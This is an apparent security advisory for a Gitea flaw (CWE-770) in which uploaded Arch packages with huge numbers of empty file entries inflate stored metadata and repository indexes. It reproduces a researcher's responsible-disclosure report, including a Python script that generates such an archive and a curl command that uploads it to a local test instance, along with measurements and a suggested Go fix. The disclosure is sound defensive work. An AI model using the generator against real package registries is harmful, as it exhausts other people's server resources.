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GHSA-9mq6-mqjj-c2c5 CVE-2026-59763 GO-2026-6049

Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.29%
Chance of exploitation in the next 30 days. Higher than 21.52% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
Available
2 packages have a fixed version

Description

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

  • Gitea package registry
  • Arch package upload endpoint
  • Arch package metadata parsing
  • Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

  • routers/api/packages/arch/arch.go:46 accepts the upload stream.
  • routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
  • routers/api/packages/arch/arch.go:62 parses the archive with arch_module.ParsePackage.
  • modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
  • modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
  • routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
  • routers/api/packages/arch/arch.go:143 persists the metadata as arch_module.PropertyMetadata.
  • services/packages/arch/repository.go:302 deserializes the metadata during index generation.
  • services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

  • CPU usage during parsing and index generation
  • memory usage during metadata handling
  • database storage due to large serialized metadata
  • repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate_arch_metadata_test_package.py:

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86_64
license = MIT
builddate = 1714521600
size = 0
"""

def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
    info = tarfile.TarInfo(name=name)
    info.size = len(data)
    info.mode = 0o644
    tar.addfile(info, io.BytesIO(data))

def build_archive(output: Path, entries: int, name_width: int) -> None:
    output.parent.mkdir(parents=True, exist_ok=True)
    with output.open("wb") as raw:
        with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
            with tarfile.open(fileobj=gz, mode="w|") as tar:
                add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
                for i in range(entries):
                    name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt"
                    add_bytes(tar, name, b"")

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Generate a local Arch package test archive with many empty file entries.",
    )
    parser.add_argument("--entries", type=int, default=100000)
    parser.add_argument("--name-width", type=int, default=8)
    parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
    args = parser.parse_args()

    if args.entries < 1:
        raise SystemExit("--entries must be at least 1")
    if args.name_width < 1:
        raise SystemExit("--name-width must be at least 1")

    build_archive(args.output, args.entries, args.name_width)
    print(f"wrote {args.output} with {args.entries} regular file entries")

if __name__ == "__main__":
    main()

Generate a test archive:

python3 generate_arch_metadata_test_package.py \
  --entries 100000 \
  --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

curl -X PUT \
  -H "Authorization: token <TOKEN>" \
  --upload-file gitea-metadata-test-100k.pkg.tar.gz \
  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

HTTP_STATUS=201
TIME_TOTAL=0.482909
SIZE_UPLOAD=470403

Additional Validation

Parser-only measurements:

Entries Compressed archive bytes Parsed file entries Metadata JSON bytes Joined files bytes Parse time
25 477 25 1,237 1,074 0 ms
10,000 47,461 10,000 450,112 429,999 25 ms
100,000 470,403 100,000 4,500,112 4,299,999 264 ms

Local Gitea upload measurements:

Entries Upload HTTP status Upload time Uploaded bytes Stored metadata bytes Stored file count Repository index blob bytes Extracted files lines
10,000 201 0.243 s 47,461 450,112 10,000 27,267 10,001
100,000 201 0.483 s 470,403 4,500,112 100,000 262,301 100,001
500,000 201 1.798 s 2,349,767 22,500,112 500,000 1,306,465 500,001

Package Size Limit Behavior

I also tested LIMIT_SIZE_ARCH=1MiB with a non-admin package publisher.

Entries Upload bytes Upload HTTP status Stored metadata bytes Notes
100,000 470,403 201 4,500,112 Accepted because the compressed upload was below the package size limit.
500,000 2,349,767 403 not stored Rejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

  • limiting the maximum number of regular file entries recorded in FileMetadata.Files
  • limiting the cumulative byte length of recorded file names
  • returning a clear 4xx validation error when an uploaded package exceeds those limits
  • optionally making these limits configurable for instance operators
  • adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
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